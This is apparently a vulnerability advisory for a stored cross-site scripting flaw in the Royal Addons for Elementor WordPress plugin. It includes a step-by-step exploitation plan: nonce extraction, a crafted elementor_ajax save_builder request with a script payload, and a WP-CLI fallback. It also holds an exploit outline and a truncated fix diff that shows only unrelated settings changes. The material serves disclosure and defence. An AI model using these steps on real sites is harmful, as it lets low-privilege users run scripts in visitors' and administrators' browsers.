Royal Addons for Elementor <= 1.7.1056 - Authenticated (Contributor+) Stored Cross-Site Scripting via Instagram Feed Widget
Description
The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Instagram Feed widget's 'instagram_follow_text' setting in all versions up to, and including, 1.7.1056 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.7.1056What Changed in the Fix
Changes introduced in v1.7.1057
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-5162 ## 1. Vulnerability Summary The **Royal Addons for Elementor** plugin (up to v1.7.1056) contains a Stored Cross-Site Scripting (XSS) vulnerability in its **Instagram Feed** widget. The vulnerability exists because the plugin fails to sanitize or escape t…
Show full research plan
Exploitation Research Plan - CVE-2026-5162
1. Vulnerability Summary
The Royal Addons for Elementor plugin (up to v1.7.1056) contains a Stored Cross-Site Scripting (XSS) vulnerability in its Instagram Feed widget. The vulnerability exists because the plugin fails to sanitize or escape the instagram_follow_text setting before rendering it on the frontend. Authenticated users with Contributor-level permissions or higher can create or edit a post, add the Instagram Feed widget, and inject malicious scripts into the "Follow Text" field. When any user views the affected post, the script executes in their browser context.
2. Attack Vector Analysis
- Vulnerable Widget:
wpr-instagram-feed(as registered inassets/js/frontend.js). - Vulnerable Setting:
instagram_follow_text. - Authentication Level: Contributor+ (Users who can access the Elementor editor for posts).
- Entry Point: Elementor Editor AJAX API (
elementor_ajax). - Target Page: Any post or page where the malicious Instagram Feed widget is embedded.
3. Code Flow
- Input: A Contributor-level user edits a post using the Elementor editor. They drag the "Instagram Feed" widget onto the page.
- Storage: In the widget settings, the user enters a payload (e.g.,
<script>alert(document.domain)</script>) into the "Follow Text" field (instagram_follow_text). - Persistence: When the user saves the page, Elementor sends a
POSTrequest toadmin-ajax.phpwith the actionelementor_ajax. The widget configuration, including the malicious setting, is stored in the WordPress database under the_elementor_datameta key for that post. - Render (Sink): When the post is viewed on the frontend, the
WprAddons\Widgets\Wpr_Instagram_Feed::render()method (inferred class name) retrieves the settings from post meta. Theinstagram_follow_textvalue is echoed directly into the HTML (likely within a button or link) without passing throughesc_html()orwp_kses().
4. Nonce Acquisition Strategy
Elementor uses its own AJAX infrastructure for saving post data. To successfully save a widget configuration via HTTP, a valid Elementor AJAX nonce is required.
- Pre-requisite: Create a post as a Contributor and ensure it is "Edited with Elementor".
- Step: Navigate to the Elementor Editor for that post:
/wp-admin/post.php?post=[POST_ID]&action=elementor. - Extraction: Use the
browser_evaltool to extract the nonce and the post ID from the Elementor configuration object. - JavaScript Variable:
- Nonce:
window.elementorCommonConfig.ajax.nonce - Editor Post ID:
window.elementorConfig.post_id(this confirms the ID context).
- Nonce:
5. Exploitation Strategy
The exploit will simulate the Elementor "Save" action to inject the payload.
Step 1: Setup Content
Create a post and prepare it for Elementor.
wp post create --post_type=post --post_title="XSS Test" --post_status=publish --post_author=contributor_user_id
wp post meta add [POST_ID] _elementor_edit_mode "builder"
wp post meta add [POST_ID] _elementor_template_type "wp-post"
Step 2: Extract Nonce
Use browser_navigate to the editor URL, then browser_eval to get the nonce.
Step 3: Inject Payload via HTTP Request
Send a POST request to admin-ajax.php mimicking an Elementor save action.
- URL:
https://[TARGET]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:elementor_ajax_nonce:[EXTRACTED_NONCE]actions: A JSON string containing thesave_builderoperation.editor_post_id:[POST_ID]
Payload Structure (Actions JSON):
{
"save_builder": {
"action": "save_builder",
"data": {
"status": "publish",
"elements": [
{
"id": "random_id_123",
"elType": "widget",
"widgetType": "wpr-instagram-feed",
"settings": {
"instagram_follow_text": "\"><script>alert(document.domain)</script>"
}
}
]
}
}
}
Step 4: Trigger Execution
Navigate to the frontend URL of the post (/?p=[POST_ID]) to see the script execute.
6. Test Data Setup
- Plugin Status:
royal-elementor-addonsandelementormust be active. - User Role: A user with the
contributorrole. - Target Post: A post ID where the contributor has edit permissions.
7. Expected Results
- The
elementor_ajaxrequest should return a200 OKwith a JSON response:{"success":true,"data":{"responses":{"save_builder":{"success":true...}}}}. - The post meta
_elementor_datafor the post will contain the string\"><script>alert(document.domain)</script>. - Viewing the post frontend will result in an alert box showing the document domain.
8. Verification Steps
- Database Check:
Confirm the JSON contains thewp post meta get [POST_ID] _elementor_datainstagram_follow_textwith the payload. - HTML Source Check:
Navigate to the post and check for the unescaped payload in the rendered HTML:# (Simulated via browser/Playwright) # Search for: <script>alert(document.domain)</script>
9. Alternative Approaches
If the elementor_ajax save structure is too complex to replicate via a single http_request, the fallback is to use WP-CLI to directly inject the configuration into the post meta. This is effective for PoC environments where the goal is to prove the Stored XSS exists during rendering:
# Prepare the JSON structure
PAYLOAD='[{"id":"exploit","elType":"widget","widgetType":"wpr-instagram-feed","settings":{"instagram_follow_text":"\"><script>alert(document.domain)</script>"}}]'
# Update the meta directly
wp post meta update [POST_ID] _elementor_data "$PAYLOAD"
This confirms that if a Contributor saves this data (which Elementor allows), the frontend will execute it.
Summary
The Royal Addons for Elementor plugin (up to version 1.7.1056) is vulnerable to Stored Cross-Site Scripting because the Instagram Feed widget fails to sanitize and escape the 'instagram_follow_text' setting. This allows authenticated users with Contributor-level access or higher to inject arbitrary scripts into posts that execute in the context of any user viewing the page.
Security Fix
@@ -120,6 +120,8 @@ register_setting('wpr-extension-settings', 'wpr-parallax-multi-layer'); register_setting('wpr-extension-settings', 'wpr-custom-css'); register_setting('wpr-extension-settings', 'wpr-display-conditions'); + register_setting('wpr-extension-settings', 'wpr-equal-height'); + // register_setting('wpr-extension-settings', 'wpr-column-slider'); register_setting('wpr-extension-settings', 'wpr-sticky-section'); // Element Toggle @@ -1630,6 +1632,12 @@ echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>'; } elseif ( 'wpr-display-conditions' === $option_name ) { echo '<br><span>Tip: Edit any Element > Navigate to Visibility tab</span>'; + } elseif ( 'wpr-column-slider' === $option_name ) { + echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>'; + // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>'; + } elseif ( 'wpr-equal-height' === $option_name ) { + echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>'; + // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>'; } // echo '<a href="https://royal-elementor-addons.com/elementor-particle-effects/?ref=rea-plugin-backend-extentions-prev">'. esc_html('View Extension Demo', 'wpr-addons') .'</a>'; ... (truncated)
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level access or higher performs the following steps: 1. Authenticate to the WordPress site and open the Elementor editor for a post or page they have permissions to edit. 2. Extract the required security nonce from the global JavaScript object `window.elementorCommonConfig.ajax.nonce`. 3. Send a POST request to the `/wp-admin/admin-ajax.php` endpoint with the action `elementor_ajax`. 4. Craft the payload using the `save_builder` operation within the `actions` parameter. The payload must include a widget of type `wpr-instagram-feed` with the `instagram_follow_text` setting containing a malicious script (e.g., `"><script>alert(document.domain)</script>`). 5. Once the page is saved with the malicious widget configuration, any user (including administrators) who navigates to the frontend of that page will trigger the execution of the injected script in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.